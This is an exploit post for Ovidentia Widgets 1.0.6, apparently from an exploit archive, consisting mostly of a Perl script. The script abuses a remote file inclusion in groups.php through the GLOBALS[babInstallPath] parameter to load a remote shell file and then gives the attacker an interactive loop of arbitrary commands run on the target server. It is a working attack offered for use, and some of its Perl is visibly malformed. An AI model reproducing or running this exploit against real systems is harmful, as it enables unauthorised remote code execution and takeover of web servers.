|[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!]
|[!]|
|[!]| Exploit Title : Ovidentia Widgets RCE Vulnerability
|[!]|
|[!]| Exploit Author : 4TT4CK3R
|[!]|
|[!]| Date : 2015/12/20
|[!]|
|[!]| Google Dork : No
|[!]|
|[!]| Home Page : http://ovidentia.org
|[!]|
|[!]| Tested on : Kali linux , Windows 8.1
|[!]|
|[!]| Vulnerable Version : 1.0.6
|[!]|
|[!]| Just for : CyberPolice
|[!]|
|[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!]
Script :
=========================================================================================
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}
&clear();
sub 4TT4CK3R {
print "Ovidentia Widgets 1.0.6 RCE Vulnerability\n";
print "Sploit:\n";
print "$0 -v "http://[target]/path/programs/" -shellcode "http://[target]/shell.txt?"\n\n";
exit();
}
my $a = GetOptions (
'v=s' => $v,
'shellcode=s' => $shellcode
);
&4TT4CK3R unless ($v);
&4TT4CK3R unless ($shellcode);
&4TT4CK3R if $4TT4CK3R eq 1;
chomp($v);
chomp($shellcode);
while (){
print "[shellcode]:~$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit" || $cmd eq "quit") {
exit 0;
}
my $agent = LWP::UserAgent->new;
$in="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
chomp($in);
my $a = $v ."/widgets-1-0-61/programs/groups.php?GLOBALS[babInstallPath]=" . $shellcode . $in;
chomp $a;
my $request = HTTP::Request->new(Get => $a);
my $resource = $agent->request($request);
my $content = $resource->content;
if ($resource->is_success){
print $1,"\n" if ($content =~ m/readonly> (.*?)</textarea>/mosix);
}
else
{
print "EXPLOIT FAILURE\n";
exit(1);
}
}
=========================================================================================
|[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!]
|[!]|
|[!]| Discovered and Exploited by : 4TT4CK3R
|[!]| Special Thanks for : Mahdieh
|[!]| Registered for : CyberPolice
|[!]|
|[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!]
